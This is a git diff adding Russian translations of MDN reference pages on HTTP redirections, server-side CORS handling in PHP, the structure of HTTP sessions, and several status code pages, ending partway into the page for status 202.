diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html new file mode 100644 index 0000000000..8a9c509b06 --- /dev/null +++ b/files/ru/web/http/redirections/index.html @@ -0,0 +1,260 @@ +--- +title: Перенаправления в HTTP +slug: Web/HTTP/Redirections +tags: + - HTTP + - Начинающий + - Руководство +translation_of: Web/HTTP/Redirections +--- +
{{HTTPSidebar}}
+ +

URL перенаправление (redirecting), также известное как URL пересылка (forwarding), это метод представления страницы, формы или целого веб-приложения, более чем одним  URL  адресом. HTTP предоставляет специальный вид ответов, HTTP redirect, для выполнения этой операции, используемой для многих целей: временного перенаправления, пока выполняется обслуживание сайта, постоянное перенаправление, для сохранения работоспособности внешних ссылок, после смены архитектуры сайта, страниц прогресса, пока загружается файл, и так далее.

+ +

Принцип работы

+ +

В HTTP, перенаправление вызывается при отправке сервером специального ответа на запрос: redirects. HTTP перенаправление, это ответы с кодом статуса3xx. Когда браузер получает ответ перенаправления, он использует новый предоставленный URL-адрес и немедленно загружает его: в большинстве случаев переадресация невидима для пользователя, за исключением небольшого влияния производительность.

+ +

+ +

Есть несколько типов перенаправлений и делятся на три категории: постоянные, временные и специальные перенаправления.

+ +

Постоянные перенаправления

+ +

Эти перенаправления призваны длиться вечно. Они подразумевают, что оригинальный URL-адрес больше не должен использоваться, а вместо него должен быть использован новый. Поисковые роботы запускают обновление связанного URL-адреса для ресурса в своих индексах.

+ + + + + + + + + + + + + + + + + + + + + + + + +
КодТекстОбработка методаСлучаи использования
301Moved Permanently{{HTTPMethod("GET")}} методы неизменны.
+ Другие методы могут быть превращены в {{HTTPMethod("GET")}}.[1]		Реорганизация веб-сайта.
308Permanent RedirectМетод и тело запроса  неизменны.Реорганизация веб-сайта, с не-GET ссылками/операциями.
+ +

[1] Спецификация не была намерена разрешать изменение метода, но на практике, клиентские приложения делают это. Код 308 был создан чтобы избавиться от неоднозначности в поведении, при использовании не-GET методов.

+ +

Временные перенаправления

+ +

Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КодТекстОбработка методаСлучаи использования
302Found{{HTTPMethod("GET")}} методы неизменны.
+ Другие методы могут  быть превращены в {{HTTPMethod("GET")}}.[2]		Веб-страница недоступна по непредвиденым причинам. В этом случае поисковые роботы не будут обновлять свои ссылки.
303See Other{{HTTPMethod("GET")}} методы неизменны.
+ Другие превращены в GET (тело запроса теряется).		Используется для перенаправления после {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}} для предотвращения обновления страницы, что может спровоцировать повторный вызов операции.
307Temporary RedirectМетод и тело запроса  неизменны.Веб-страница недоступна по непредвиденным причинам. В этом случае поисковые роботы не будут обновлять свои ссылки. Лучше чем код 302 когда не-GET ссылки/операции доступны на сайте.
+ +

[2] Спецификация не была намерена разрешать изменение метода, но на практике, клиентские приложения делают это. Код 307 был создан чтобы избавиться от неоднозначности в поведении, при использовании не-GET методов.

+ +

Специальные перенаправления

+ +

В добавок к обычным перенаправлениям, есть 2 специальные.  Перенаправление с кодом {{HTTPStatus("304")}} (Not Modified) перенаправляет страницу к локальной закешированной копии (которая была устаревшей), и перенаправление с кодом {{HTTPStatus("300")}} (Multiple Choice) это ручное перенаправление: тело, представленное браузером, как веб-страница, перечисляет возможные перенаправления и пользователь выбирает одно из них.

+ + + + + + + + + + + + + + + + + + + + + +
КодТекстСлучаи использования
300Multiple ChoiceНе так много: варианты перечислены на HTML странице. Может быть обслужен со статусом {{HTTPStatus("200")}} OK.
304Not ModifiedОбновление кеша: означает, что значение кеша все еще актуально и может быть использовано.
+ +

Альтернативные способы указания перенаправлений

+ +

HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют DOM.

+ +

HTML перенаправления

+ +

HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение refresh в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.

+ +
<head>
+  <meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
+</head>
+
+ +

Атрибут {{htmlattrxref("content")}} начинается с числа, которое означает, сколько секунд браузер должен ждать, прежде чем перейти по данной ссылке. Всегда устанавливайте 0, для лучшей доступности.

+ +

Очевидно, этот метод работает только с HTML страницами и не может использоваться для изображений или другого типа контента.

+ +
+

Заметьте, что перенаправления не позволяют работать должным образом кнопке "Назад" в браузере: вы можете вернуться на страницу назад, но мгновенно будете перенаправлены на страницу с которой пришли.

+
+ +

JavaScript перенаправления

+ +

Перенаправления в JavaScript создаются установкой значения свойства {{domxref("window.location")}} и новая страница загрузиться.

+ +
window.location = "http://www.example.com/";
+ +

Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.

+ +

Приоритетность

+ +

При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:

+ +
    +
  1. HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана,  и конечно же, пока еще не прочитана.
    2. +
  2. HTML перенаправления ({{HTMLElement("meta")}}) выполняються только, если перенаправление не было в выполнено в HTTP.
    3. +
  3. JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.
    4. +
+ +

Используйте HTTP перенаправления, когда это возможно, и не используйте элемент {{HTMLElement("meta")}}. Если разработчик изменяет HTTP перенаправление и забывает изменить HTML перенаправление , тогда они больше не идентичны, и закончится это вечным циклом или другим ночным кошмаром.

+ +

Случаи использования

+ +

Есть много случаев для использования перенаправлений, но поскольку они влияют на производительность, то должны использоваться как можно реже.

+ +

Связывание доменов

+ +

В идеале, есть только одно место, и следовательно один URL адрес, для одного ресурса. Но, есть несколько причин, чтобы иметь альтернативные имена для ресурса (несколько доменов, как с, так и без префикса www или более короткие и лёгкие для запоминания адреса, …). В этих случаях, использовать перенаправление к одному истинному URL адресу, более подходящий вариант, чем дублировать ресурс.

+ +

Связывание доменов может быть необходимым по нескольким причинам:

+ + + +

Сохранения ссылок рабочими

+ +

Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.

+ +
+

Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.

+
+ +

Временные ответы для небезопасных запросов

+ +

{{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их.  Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. 

+ +

В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.

+ +

Временные ответы на долгие запросы

+ +

Некоторые запросы могут потребовать больше времени сервера, например запрос {{HTTPHeader("DELETE")}}, который срабатывает по расписанию. В этом случае, ответом будет перенаправление {{HTTPStatus("303")}} (Смотреть другие), которое связывает со страницей показывающей, что действие было запланировано, и в результате информирует о процессе или позволяет отменить запрос.

+ +

Настройка перенаправлений на  распространённых серверах

+ +

Apache

+ +

Перенаправления могут быть установлены или в настройках сервера, или в каждой директории в файле .htaccess.

+ +

У модуля mod_alias есть директивы Redirect и Redirect_Match которые, по умолчанию, устанавливают код ответа {{HTTPStatus("302")}}:

+ +
<VirtualHost *:80>
+	ServerName example.com
+	Redirect / http://www.example.com
+</VirtualHost>
+
+ +

URL http://example.com/ будет переенаправлен к http://www.example.com/ (но не к http://example.com/other.html )

+ +

Redirect_Match делает то же, но использует регулярное выражение, чтобы определить множество URL адресов, которые подпадут под эффект:

+ +
RedirectMatch ^/images/(.*)$ http://images.example.com/$1
+ +

Все документы в папке images/ будут перенаправляться к другому домену.

+ +

Если вы не хотите устанавливать временное перенаправление, дополнительный параметр (используйте или код статуса HTTP, или ключевое слово permanent) может использоваться чтобы установить другое перенаправление:

+ +
Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+
+ +

Также модуль mod_rewrite может использоваться для создания перенаправлений. Они более гибкие, но сложнее в использовании.

+ +

Nginx

+ +

В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:

+ +
server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}
+ +

Чтобы применить перенаправления к папке или подмножеству страниц, используйте директиву rewrite:

+ +
rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+
+ +

IIS

+ +

В IIS, вы используете элемент <httpRedirect> для настройки перенаправлений.

+ +

Циклы перенаправлений

+ +

Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.

+ +

В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} Internal Server Error. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.

+ +

В случае, когда сервер не может обнаружить его: цикл перенаправлений может распространиться на несколько серверов, каждый из которых не имеет полной картины происходящего. В этом случае, браузеры покажут сообщение об ошибке. Firefox выведет:

+ +
Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
+ +

тогда, как Chrome:

+ +
This Webpage has a redirect loop
+ +

В обоих случаях, пользователь не может ничего сделать (в отличие от ошибки на стороне клиента, например, несоответствие файлов куки или кеша).

+ +

Важно избегать циклов перенаправлений, так как они полностью нарушают работу пользователя.

diff --git a/files/ru/web/http/server-side_access_control/index.html b/files/ru/web/http/server-side_access_control/index.html new file mode 100644 index 0000000000..fa4deb40bd --- /dev/null +++ b/files/ru/web/http/server-side_access_control/index.html @@ -0,0 +1,212 @@ +--- +title: Server-Side Access Control (CORS) +slug: Web/HTTP/Server-Side_Access_Control +translation_of: Web/HTTP/CORS +--- +

Системы контроля доступа производят идентификацию авторизации, аутентификацию, подтверждение доступа и подотчетность сущностей с помощью учетных данных для входа, включая пароль, личный идентификационный номер (PINs), биометрическое сканирование и физический или электронный ключ.

+ +

Контроль доступа --- это техника безопасности, которую можно использовать для регулирования процессом того, кто или что может видеть или использовать ресурсы в вычислительном окружении.

+ +

{{HTTPSidebar}}

+ +

Для меж-сайтовых запросов, произведенных с помощью {{domxref("XMLHttpRequest")}} или Fetch API, браузеры передают специальные HTTP заголовки. Так же ожидаемо увидеть определенные HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, может быть найден в статье HTTP Access Control (CORS) и должен быть прочитан вместе с данной. Эта статья покрывает обработку Запросов контроля доступа и формулировку Ответов контроля доступа в PHP. Целевая аудитория для этой статьи ---  разработчики серверов и администраторы. Хотя примеры кода, приведенные тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.

+ +

Discussion of HTTP headers

+ +

The article covering the HTTP headers used by both clients and servers is here, and should be considered prerequisite reading.

+ +

Working code samples

+ +

The PHP snippets (and the JavaScript invocations to the server) in subsequent sections are taken from the working code samples posted here. These will work in browsers that implement cross-site {{domxref("XMLHttpRequest")}}.

+ +

Simple cross-site requests

+ +

Simple Access Control Requests are initiated when:

+ + + +

In this case, responses can be sent back based on some considerations.

+ + + +

The section on Simple Access Control Requests shows you the header exchanges between client and server. Here is a PHP code segment that handles a Simple Request:

+ +
<?php
+
+// We'll be granting access to only the arunranga.com domain
+// which we think is safe to access this resource as application/xml
+
+if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-type: application/xml');
+    readfile('arunerDotNetResource.xml');
+} else {
+  header('Content-Type: text/html');
+  echo "<html>";
+  echo "<head>";
+  echo "   <title>Another Resource</title>";
+  echo "</head>";
+  echo "<body>",
+       "<p>This resource behaves two-fold:";
+  echo "<ul>",
+         "<li>If accessed from <code>http://arunranga.com</code> it returns an XML document</li>";
+  echo   "<li>If accessed from any other origin including from simply typing in the URL into the browser's address bar,";
+  echo   "you get this HTML document</li>",
+       "</ul>",
+     "</body>",
+   "</html>";
+}
+?>
+
+ +

The above checks to see if the {{HTTPHeader("Origin")}} header sent by the browser (obtained through $_SERVER['HTTP_ORIGIN']) matches 'http://arunranga.com'. If yes, it returns {{HTTPHeader("Access-Control-Allow-Origin")}}: http://arunranga.com. This example can be seen running here.

+ +

Preflighted requests

+ +

Preflighted Access Control Requests occur when:

+ + + +

The section on Preflighted Access Control Requests shows a header exchange between client and server. A server resource responding to a preflight requests needs to be able to make the following determinations:

+ + + +

Here is an example in PHP of handling a preflighted request:

+ +
<?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+
+  header('Content-Type: text/plain');
+  echo "This HTTP resource is designed to handle POSTed XML input";
+  echo "from arunranga.com and not be retrieved with GET";
+
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+  // Tell the Client we support invocations from arunranga.com and
+  // that this preflight holds good for only 20 days
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
+    header('Access-Control-Allow-Headers: X-PINGARUNER');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+    //exit(0);
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+  }
+
+} elseif($_SERVER['REQUEST_METHOD'] == "POST") {
+  // Handle POST by first getting the XML POST blob,
+  // and then doing something to it, and then sending results to the client
+
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    $postData = file_get_contents('php://input');
+    $document = simplexml_load_string($postData);
+
+    // do something with POST data
+
+    $ping = $_SERVER['HTTP_X_PINGARUNER'];
+
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-Type: text/plain');
+    echo // some string response after processing
+  } else {
+    die("POSTing Only Allowed from arunranga.com");
+  }
+} else {
+    die("No Other Methods Allowed");
+}
+?>
+
+ +

Note the appropriate headers being sent back in response to the {{HTTPMethod("OPTIONS")}} preflight as well as to the {{HTTPMethod("POST")}} data. One resource thus handles the preflight as well as the actual request. In the response to the OPTIONS request, the server notifies the client that the actual request can indeed be made with the POST method, and header fields such as X-PINGARUNER can be sent with the actual request. This example can be seen running here.

+ +

Credentialed requests

+ +

Credentialed Access Control Requests – that is, requests that are accompanied by Cookies or HTTP Authentication information (and which expect Cookies to be sent with responses) – can be either Simple or Preflighted, depending on the request methods used.

+ +

In a Simple Request scenario, the request will be sent with Cookies (e.g. if the withCredentials flag is set on {{domxref("XMLHttpRequest")}}). If the server responds with {{HTTPHeader("Access-Control-Allow-Credentials")}}: true attached to the credentialed response, then the response is accepted by the client and exposed to web content. In a Preflighted Request, the server can respond with Access-Control-Allow-Credentials: true to the OPTIONS request.

+ +

Here is some PHP that handles credentialed requests:

+ +
<?php
+
+if($_SERVER['REQUEST_METHOD'] == "GET") {
+  header('Access-Control-Allow-Origin: http://arunranga.com');
+  header('Access-Control-Allow-Credentials: true');
+  header('Cache-Control: no-cache');
+  header('Pragma: no-cache');
+  header('Content-Type: text/plain');
+
+  // First See if There Is a Cookie
+  if (!isset($_COOKIE["pageAccess"])) {
+    setcookie("pageAccess", 1, time()+2592000);
+    echo 'I do not know you or anyone like you so I am going to';
+    echo 'mark you with a Cookie :-)';
+  } else {
+    $accesses = $_COOKIE['pageAccess'];
+    setcookie('pageAccess', ++$accesses, time()+2592000);
+    echo 'Hello -- I know you or something a lot like you!';
+    echo 'You have been to ', $_SERVER['SERVER_NAME'], ';
+    echo 'at least ', $accesses-1, ' time(s) before!';
+  }
+} elseif($_SERVER['REQUEST_METHOD'] == "OPTIONS") {
+  // Tell the Client this preflight holds good for only 20 days
+  if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Access-Control-Allow-Methods: GET, OPTIONS');
+    header('Access-Control-Allow-Credentials: true');
+    header('Access-Control-Max-Age: 1728000');
+    header("Content-Length: 0");
+    header("Content-Type: text/plain");
+  } else {
+    header("HTTP/1.1 403 Access Forbidden");
+    header("Content-Type: text/plain");
+    echo "You cannot repeat this request";
+  }
+} else {
+  die("This HTTP Resource can ONLY be accessed with GET or OPTIONS");
+}
+?>
+
+ +

Note that in the case of credentialed requests, the Access-Control-Allow-Origin: header must not have a wildcard value of "*".  It must mention a valid origin domain. The example above can be seen running here.

+ +

Apache examples

+ +

Restrict access to certain URIs

+ +

One helpful trick is to use an Apache rewrite, environment variable, and headers to apply Access-Control-Allow-* to certain URIs. This is useful, for example, to constrain cross-origin requests to GET /api(.*).json requests without credentials:

+ +
RewriteRule ^/api(.*)\.json$ /api$1.json [CORS=True]
+Header set Access-Control-Allow-Origin "*" env=CORS
+Header set Access-Control-Allow-Methods "GET" env=CORS
+Header set Access-Control-Allow-Credentials "false" env=CORS
+
+ +

See also

+ + diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html new file mode 100644 index 0000000000..42de794853 --- /dev/null +++ b/files/ru/web/http/session/index.html @@ -0,0 +1,158 @@ +--- +title: HTTP сессия +slug: Web/HTTP/Session +tags: + - HTTP +translation_of: Web/HTTP/Session +--- +
{{HTTPSidebar}}
+ +

Так как HTTP — это клиент-серверный протокол, HTTP сессия состоит из трёх фаз:

+ +
    +
  1. Клиент устанавливает TCP соединения (или другое соединение, если не используется TCP транспорт).
    2. +
  2. Клиент отправляет запрос и ждёт ответа. 
    3. +
  3. Сервер обрабатывает запрос и посылает ответ, в котором содержится код статуса и соответствующие данные. 
    4. +
+ +

Начиная с версии HTTP/1.1, после третьей фазы соединение не закрывается, так как клиенту позволяется инициировать другой запрос. То есть, вторая и третья фазы могут повторяться.

+ +

Установка соединения

+ +

Так как HTTP это клиент-серверный протокол, соединение всегда устанавливается клиентом. Открыть соединение в HTTP — значит установить соединение через соответствующий транспорт, обычно TCP.

+ +

В случае с TCP, в качестве порта HTTP сервера по умолчанию на компьютере используется порт 80, хотя другие также часто используются, например 8000 или 8080. URL загружаемой страницы содержит доменное имя и порт, который можно и не  указывать если он соответствует порту по умолчанию. 

+ +
Имеем в виду: Клиент-серверная модель не позволяет серверу посылать данные клиенту без явного запроса этих данных. Чтобы обойти эту проблему, веб разработчики используют различные техники: периодически пингуют сервер используя XMLHTTPRequest Javascript объект, HTML WebSockets API, или похожие протоколы.
+ +

Отправка запроса клиента

+ +

Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки).  Сам запрос включает в себя три блока:

+ +
    +
  1. Первые строки содержат метод запроса и его параметры: +
      +
    • путь к документу - абсолютная URL без указания протокола и доменного имени
      • +
    • версию HTTP протокола 
      • +
    +
    2. +
  2. Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (наприм. какой язык , какие MIME типы) или инструкции меняющие поведение сервера (наприм. не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.
    3. +
  3. Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.
    4. +
+ +

Примеры запросов

+ +

Получаем главную страницу developer.mozilla.org,  http://developer.mozilla.org/, и говорим серверу, что user-agent предпочитает страницу на французском, если это возможно:

+ +
GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+
+ +

Обращаем внимание на пустую строку в конце, которая отделяет блок данных от блока заголовков. Так как в запросе отсутствует Content-Length: HTTP заголовок, блок с данными пуст и сервер может начать обработку запроса, как только получит пустую строку, означающую конец заголовков.

+ +

Отправляем результат сабмита формы:

+ +
POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue
+ +

Методы запроса

+ +

HTTP определяет набор методов запроса с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы GET и POST:

+ + + +

Структура ответа от сервера

+ +

После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:

+ +
    +
  1. Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).
    2. +
  2. Последующие строки представляют собой HTTP заголовки, дающие клиенту некоторую информацию о посылаемых данных (прим. тип, размер, алгоритм сжатия, подсказки по кэшированию). Так же как и в случае клиентского запроса, эти HTTP заголовки формируют блок, заканчивающийся пустой строкой.
    3. +
  3. Последний блок содержит данные (если таковые имеются).
    4. +
+ +

Примеры ответов

+ +

Успешное получение веб страницы:

+ +
HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (здесь идут 29769 байтов запрошенной веб-страницы)
+
+
+ +

Сообщение о том, что запрашиваемый ресурс был перемещен:

+ +
HTTP/1.1 301 Moved Permanently
+Server: Apache/2.2.3 (Red Hat)
+Content-Type: text/html; charset=iso-8859-1
+Date: Sat, 09 Oct 2010 14:30:24 GMT
+Location: https://developer.mozilla.org/ (это новый адрес запрошенного ресурса, ожидается, что клиент запросит его)
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+X-Cache-Info: caching
+X-Cache-Info: caching
+Content-Length: 325 (Контент содержит стандартную страницу, которая будет показана, если клиент не может перейти по ссылке)
+
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head>
+<title>301 Moved Permanently</title>
+</head><body>
+<h1>Moved Permanently</h1>
+<p>The document has moved <a href="https://developer.mozilla.org/">here</a>.</p>
+<hr>
+<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address>
+</body></html>
+
+
+ +

Сообщение о том, что запрашиваемый ресурс не существует:

+ +
HTTP/1.1 404 Not Found
+Date: Sat, 09 Oct 2010 14:33:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 May 2007 14:24:39 GMT
+ETag: "499fd34e-29ec-42f695ca96761;48fe7523cfcc1"
+Accept-Ranges: bytes
+Content-Length: 10732
+Content-Type: text/html
+
+<!DOCTYPE html... (содержит пользовательскую страницу, помогающую пользователю найти отсутсвующий ресурс)
+
+ +

Коды статусов ответа

+ +

HTTP-коды ответов показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.

+ + + +

См. также

+ + diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html new file mode 100644 index 0000000000..5e9b4a15b7 --- /dev/null +++ b/files/ru/web/http/status/100/index.html @@ -0,0 +1,42 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +translation_of: Web/HTTP/Status/100 +--- +
{{HTTPSidebar}}
+ +

 Код ответа "HTTP 100 Continue" на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.

+ +

Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}:100-continue в качестве заголовка в своем первоначальном запросе и получить код состояния 100-continue в ответ перед отправкой тела.

+ +

Статус

+ +
100 Continue
+ +

Характеристики

+ + + + + + + + + + + + +
спецификацияНазвание
{{RFC("7231", "100 Continue" , "6.2.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "100")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/101/index.html b/files/ru/web/http/status/101/index.html new file mode 100644 index 0000000000..1dbb537ad5 --- /dev/null +++ b/files/ru/web/http/status/101/index.html @@ -0,0 +1,45 @@ +--- +title: 101 Switching Protocol +slug: Web/HTTP/Status/101 +translation_of: Web/HTTP/Status/101 +--- +
{{HTTPSidebar}}
+ +

Код ответа протокола HTTP 101 Switching Protocol указывает протокол, который сервер переключает, используя клиентский запрос {{HTTPHeader("Upgrade")}}.

+ +

Сервер отправляет заголовок ответа {{HTTPHeader ("Upgrade")}}, указывая протокол, на который он переключился.

+ +

Статус

+ +
101 Switching Protocol
+ +

Примеры

+ +

Протоколы переключения могут использоваться с WebSockets.

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+ +

Характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/103/index.html b/files/ru/web/http/status/103/index.html new file mode 100644 index 0000000000..d6c39cdb12 --- /dev/null +++ b/files/ru/web/http/status/103/index.html @@ -0,0 +1,50 @@ +--- +title: 103 Early Hints +slug: Web/HTTP/Status/103 +tags: + - HTTP + - Информация + - Код состояния + - ТаблицаСоответствия + - ТребуетсяСодержание + - Черновик +translation_of: Web/HTTP/Status/103 +--- +

{{HTTPSidebar}}{{Draft}}

+ +

HTTP код 103 Early Hints в первую очередь предназначен для использования с заголовком {{HTTPHeader("Link")}}, чтобы клиент мог начать предварительную загрузку пока сервер готовит ответ.

+ +

Синтаксис

+ +
103 Early Hints
+ +

Характеристики

+ + + + + + + + + + + + + + + + +
ХарактеристикиСтатусКомментарий
{{RFC(8297, "103 Early Hints")}}IETF RFCНачальное определение (Initial Definition)
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.status.103")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html new file mode 100644 index 0000000000..bd1f64e5e5 --- /dev/null +++ b/files/ru/web/http/status/200/index.html @@ -0,0 +1,50 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +translation_of: Web/HTTP/Status/200 +--- +
{{HTTPSidebar}}
+ +

Код ответа об успешном статусе "The HTTP 200 OK" указывает, что запрос выполнен успешно. Ответ 200 может кэшироваться по умолчанию.

+ +

Значение успеха зависит от метода HTTP-запроса:

+ + + +

Успешный результат {{HTTPMethod("PUT")}} или {{HTTPMethod("DELETE")}} часто не 200 OK, {{HTTPStatus ("204")}} No Content ( или {{HTTPStatus("201")}} Created, когда ресурс загружается в первый раз).

+ +

Статус

+ +
200 OK
+ +

Характеристики 

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "200 OK" , "6.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "200")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html new file mode 100644 index 0000000000..9bb49c0dfc --- /dev/null +++ b/files/ru/web/http/status/201/index.html @@ -0,0 +1,43 @@ +--- +title: 201 Created +slug: Web/HTTP/Status/201 +translation_of: Web/HTTP/Status/201 +--- +
+

{{HTTPSidebar}}

+ +

HTTP 201 Created Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка Location.

+ +

Общим случаем использования этого кода состояния является результат POST запроса.

+
+ +

Статус

+ +
201 Created
+ +

Технические характеристики

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "201 Created" , "6.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузером

+ + + +

{{Compat("http/status", "201")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html new file mode 100644 index 0000000000..ac2d42a884 --- /dev/null +++ b/files/ru/web/http/status/202/index.html @@ -0,0 +1,33 @@ +--- +title: 202 Accepted +slug: Web/HTTP/Status/202 +translation_of: Web/HTTP/Status/202 +--- +
{{HTTPSidebar}}
+ +

